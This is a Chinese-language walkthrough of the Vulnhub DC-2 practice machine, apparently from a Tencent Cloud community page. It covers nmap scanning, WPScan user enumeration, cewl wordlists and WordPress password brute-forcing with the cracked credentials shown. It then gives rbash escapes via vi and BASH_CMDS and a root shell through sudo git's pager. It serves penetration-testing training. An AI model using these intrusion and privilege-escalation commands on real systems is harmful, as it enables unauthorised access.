# 🛡️ DC-2 靶机渗透测试笔记

> **靶机系列**：DC | **难度**：初级~中级 | **类型**：WordPress + rbash逃逸 + git提权
>

---

## 📌 目录

- [主机发现](#主机发现)
- [端口扫描](#端口扫描)
- [信息收集](#信息收集)
- [目录扫描](#目录扫描)
- [WPScan 用户枚举](#wpscan-用户枚举)
- [cewl 字典生成 + 密码爆破](#cewl-字典生成--密码爆破)
- [SSH 登录 + rbash 逃逸](#ssh-登录--rbash-逃逸)
- [git 提权](#git-提权)

---

## 🔍 主机发现

使用 nmap 对整个网段进行存活探测：

```bash
nmap -sn 192.168.67.0/24
```

![](https://developer.qcloudimg.com/http-save/yehe-12102415/c1903f36af4038c42b0e09b70f18d8c5.png)

![](https://developer.qcloudimg.com/http-save/yehe-12102415/767594005866d4859996d4e8d11b8d4a.png)

---

## 🔎 端口扫描

### nmap 速度参数说明

| 参数 | 含义 |
|------|------|
| **T1** | 最慢，几乎不会触发防火墙告警 |
| **T2** | 慢 |
| **T3** | 默认速度 |
| **T4** | 快，靶机环境常用 ✅ |
| **T5** | 最快，但容易丢包漏扫 |

使用 `-p-` 全端口扫描：

```bash
nmap -A -T4 -p- 192.168.67.132
```

![](https://developer.qcloudimg.com/http-save/yehe-12102415/1883eec420b6168765f4f3b9e84c9c15.png)

扫描结果发现开放了 **Web（80）** 和 **SSH（7744）** 两个端口。

---

## 🌐 信息收集

### 配置 hosts 解析

直接访问ip url变成了dc-2

![](https://developer.qcloudimg.com/http-save/12102415/0d1d0433954791e18194d073b6f392aa.png)


由于靶机使用域名 `dc-2`，需要在本地 hosts 文件中添加解析。


- **Windows 路径**：`C:\Windows\System32\drivers\etc\hosts`
- **Linux 路径**：`/etc/hosts`

Linux 系统可以使用以下命令添加解析：
```bash
echo "192.168.67.132 dc-2" >> /etc/hosts
```
Windows 系统需要以管理员身份打开记事本编辑 hosts 文件，添加以下行：
```
192.168.67.132 dc-2
```
![](https://developer.qcloudimg.com/http-save/12102415/616ba295f776c075c523e919882d8c80.png)

在网页底部可以看到 CMS 指纹信息：

![](https://developer.qcloudimg.com/http-save/yehe-12102415/4dc65d94136243e570a3a88e0b40901f.png)

### 使用 WhatWeb 识别 CMS

```bash
whatweb -v http://dc-2
```
![](https://developer.qcloudimg.com/http-save/yehe-12102415/09f61e4b6761d96690aa50d3d742a00b.png)
插件识别结果：
![](https://developer.qcloudimg.com/http-save/yehe-12102415/8a3d2150bc149bfc4913e328aeb2d328.png)


确认使用的是 **WordPress** CMS，版本信息已获取。

浏览网页，看到flag1
![](https://developer.qcloudimg.com/http-save/12102415/e969be205993c86507a15043153f6099.png)

![](https://developer.qcloudimg.com/http-save/yehe-12102415/eca9db319bb9b02159158c13f6f91e5f.png)

> 💡 **Tips**：WhatWeb 是一款 Web 应用指纹识别工具，能识别 CMS、框架、服务器类型、JS 库等信息，是信息收集阶段的常用工具之一。

---

## 📂 目录扫描

```bash
dirsearch -u http://dc-2
```

![](https://developer.qcloudimg.com/http-save/yehe-12102415/b6e0fc6e43a39816d0112272f3db39d4.png)

发现 WordPress 后台登录页面：

```
http://dc-2/wp-login.php
```

![](https://developer.qcloudimg.com/http-save/yehe-12102415/343657556cdffd0c0f1be1047817f0eb.png)

---

## 🔧 WPScan 用户枚举

**WPScan** 是一款专门针对 **WordPress** 网站的黑盒扫描器，是渗透测试中处理此类 CMS 的"行业标准"工具。

### 常用命令

```bash
# 获取版本信息
wpscan --url http://dc-2

# 扫描插件
wpscan --url http://dc-2 --enumerate p

# 枚举用户
wpscan --url http://dc-2 --enumerate u
```

![](https://developer.qcloudimg.com/http-save/12102415/80b8eda133011987c0d077d68b117ddd.png)

枚举到三个用户，保存到 `users.txt`：

```bash
echo -e "admin\ntom\njerry" > users.txt
```

![](https://developer.qcloudimg.com/http-save/yehe-12102415/abce9de0c86ba62342b854fcbdf1d8c2.png)

---

## 🔑 cewl 字典生成 + 密码爆破

### cewl 介绍

**cewl**（Custom Word List generator）是一个非常独特的自定义字典生成工具。

在渗透测试中，如果常规字典（如 rockyou.txt）爆破失败，渗透者会使用 cewl 针对目标网站进行"定制化"攻击。

**工作原理：**

1. **爬取网页**：像浏览器一样访问你指定的 URL
2. **提取单词**：抓取网页上所有的文字内容，并把每一个单词提取出来
3. **去重并汇总**：自动删掉重复的词，并过滤掉太短的词（默认少于 3 个字母不要），最后生成一个专门针对该网站的"词汇表"

```bash
cewl http://dc-2 -w passwords.txt
```

![](https://developer.qcloudimg.com/http-save/yehe-12102415/a565d1870ee22979f61c262fb76a3986.png)

![](https://developer.qcloudimg.com/http-save/12102415/203de99d8606ba573636de1fed1b43c6.png)

### WPScan 密码爆破

```bash
wpscan --url http://dc-2 -U users.txt -P passwords.txt
```

![](https://developer.qcloudimg.com/http-save/12102415/fb3308f1fee0308a51c692ee6a0671ec.png)

🎉 **爆破成功，获得两组凭据：**

```
[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom,   Password: parturient
```

---

## 💻 SSH 登录 + rbash 逃逸

### 登录尝试

使用 jerry 和 tom 分别尝试登录后台，发现 jerry 登录能看到 flag2：

接下来尝试 SSH：

可以用xshell连接，也可以直接用命令行：
```bash
ssh tom@192.168.67.132 -p 7744
```

![](https://developer.qcloudimg.com/http-save/yehe-12102415/a0c78af117ac203519de1de22ed465da.png)

- jerry 登不上 SSH
- **tom 可以登录** ✅

### rbash 限制

登录后发现是 **rbash（受限 shell）**，很多命令无法使用，路径被限制，`/` 被禁止。

![](https://developer.qcloudimg.com/http-save/12102415/b63ecb77d8704d3b983bc3b6888797dc.png)

![](https://developer.qcloudimg.com/http-save/12102415/49a0d3fcc174aa9d5581e6600cb00c17.png)

![](https://developer.qcloudimg.com/http-save/12102415/a7657733ee62220dec2727b6f9fe2f92.png)

> 💡 **rbash 是什么？**  
> rbash（restricted bash）是 bash 的受限模式，限制用户执行包含 `/` 的命令、修改 PATH、使用重定向等操作，常用于限制低权限用户的操作范围。

### rbash 逃逸方式一：vi

```bash
vi
:set shell=/bin/bash
:shell
```

![](https://developer.qcloudimg.com/http-save/yehe-12102415/91cdef66be976619de285ea06b7739ef.png)

逃出 rbash 后修复 PATH：

```bash
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
```


![](https://developer.qcloudimg.com/http-save/12102415/49e6b01ffda191ae587446402528c8f5.png)

### rbash 逃逸方式二：BASH_CMDS（无需 vi）

```bash
BASH_CMDS[a]=/bin/sh;a      # 把 /bin/sh 注册为命令 a，执行后逃出 rbash
export PATH=$PATH:/bin/      # 将 /bin 加入 PATH 环境变量
export PATH=$PATH:/usr/bin   # 将 /usr/bin 加入 PATH 环境变量
```

> 💡 `BASH_CMDS` 是 bash 内置的命令哈希表，rbash 限制了外部命令执行，但无法阻止操作这个内置表，因此可以借此逃逸。

![](https://developer.qcloudimg.com/http-save/12102415/a40011478b30263ee5c8dcfd91cb888f.png)

> 📖 更多 rbash 逃逸姿势参考：https://xz.aliyun.com/news/7237

### 切换到 jerry
看到flag4
```bash
su jerry
```

![](https://developer.qcloudimg.com/http-save/yehe-12102415/4e132b155175d78fc32269f0f7735f16.png)

---

## ⚡ git 提权

### 查找 sudo 权限

```bash
sudo -l
```

发现 jerry 可以免密以 root 身份运行 `/usr/bin/git`。

> 💡 除了 sudo，也可以查找 SUID 文件：
> ```bash
> find / -perm -u=s -type f 2>/dev/null
> ```
> 找到可疑的 SUID 二进制文件后，去 [GTFOBins](https://gtfobins.github.io/gtfobins/git/) 查找对应的利用方式。

![](https://developer.qcloudimg.com/http-save/12102415/1336aa5af199197c47145a91133eaf90.png)

### git pager 提权

```bash
sudo git -p help
```

进入 pager 界面后输入：

```
!/bin/sh
```

![](https://developer.qcloudimg.com/http-save/12102415/cd8967919c6f95b2034018e02da3b870.png)

🎉 **成功获取 root shell！**

![](https://developer.qcloudimg.com/http-save/yehe-12102415/206835cbbd6b2e2e3edbfd51759b96a5.png)

---

## 📝 总结

| 阶段 | 使用工具/技术 |
|------|--------------|
| 主机发现 | nmap -sn |
| 端口扫描 | nmap -A -T4 -p- |
| 指纹识别 | WhatWeb |
| 目录扫描 | dirsearch |
| 用户枚举 | WPScan |
| 字典生成 | cewl |
| 密码爆破 | WPScan |
| Shell 逃逸 | vi / BASH_CMDS |
| 提权 | sudo git + pager 逃逸 |

**DC-2 的核心考点：**
- 🔹 WordPress 信息收集与枚举
- 🔹 cewl 定制化字典生成
- 🔹 rbash 逃逸技巧
- 🔹 sudo 配置不当导致 git 提权

---

> ✍️ *本文为靶机练习记录，仅供学习交流，请勿用于非法用途。*


靶机系列：DC | 难度：初级~中级 | 类型：WordPress + rbash逃逸 + git提权

vulnhub DC-2 靶机渗透测试笔记

> **靶机系列**：DC | **难度**：初级~中级 | **类型**：WordPress + rbash逃逸 + git提权
>

编程语言

DC-2靶机渗透测试笔记：从WordPress信息收集到rbash逃逸和git提权全过程。包含主机发现、端口扫描、WPScan用户枚举、cewl字典生成、SSH登录突破rbash限制，最终通过sudo配置不当实现git提权获取root权限。适合学习基础渗透测试技术。

服务器

WordPress

防火墙

Windows

2026新春采购季

tpts

4核4G3M云服务器 新用户低至38元/年！

domain

文章

问答

视频

教程

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云智能顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

聚焦“写作效率、视觉美观与运行性能”三方面进行全面升级，为您提供更高效、稳定的创作环境

社区富文本&Markdown编辑器全新改版上线，欢迎大家体验!

诚挚邀请您参与本次调研，分享您的真实使用感受与建议。您的反馈至关重要，感谢您的支持与参与！

社区新版编辑器体验调研

vulnhub DC-2 靶机渗透测试笔记-腾讯云开发者社区-腾讯云

vulnhub DC-2 靶机渗透测试笔记

vulnhub DC-2 靶机渗透测试笔记

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐